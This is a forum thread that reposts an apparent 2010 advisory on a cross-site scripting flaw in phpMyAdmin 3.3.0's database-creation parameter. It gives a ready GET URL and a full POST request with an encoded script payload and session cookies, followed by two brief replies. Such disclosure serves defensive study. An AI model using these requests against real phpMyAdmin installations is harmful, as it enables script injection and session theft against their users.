begood Posted March 12, 2010 Report Posted March 12, 2010 there is a xss in phpmyadmin 3.3.0 when we create new database in interface, the "new_db" parameter do not filter characters when users enter. attacker can enter malicious code, like "<script>alert(/liscker/);</script>". it also can be true in post and get. but in post, we can not encode xss code, or , the xss will faild.For example:GET:http://localhost/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation=POST:POST /phpmyadmin/db_create.php HTTP/1.1Accept: */*Referer: http://localhost/phpmyadmin/db_create.phpAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)Host: localhostContent-Length: 123Connection: Keep-AliveCache-Control: no-cacheCookie: phpMyAdmin=95830e770d0f213c04d63b623940f46f95c6f571; pma_lang=en-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pmaUser-1=Hfd255%2Bp2dc%3D; pma_navi_width=200; pmaPass-1=MlPzQC8J2iY%3D; pma_fontsize=82%25; pma_theme=originaltoken=759f7a380111a292995ec447408bbdb3&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation=When you test, please replace the session "759f7a380111a292995ec447408bbdb3" with yourself. I suggest to test it in interface.LisckerSecurityFocus 1 Quote
romanu Posted March 13, 2010 Report Posted March 13, 2010 Mie nu-mi merge.. sau poate nu fac eu bine.. who can help me o.O? Quote
vizitatoru123 Posted March 13, 2010 Report Posted March 13, 2010 Hmmm destul de misto thank you. Quote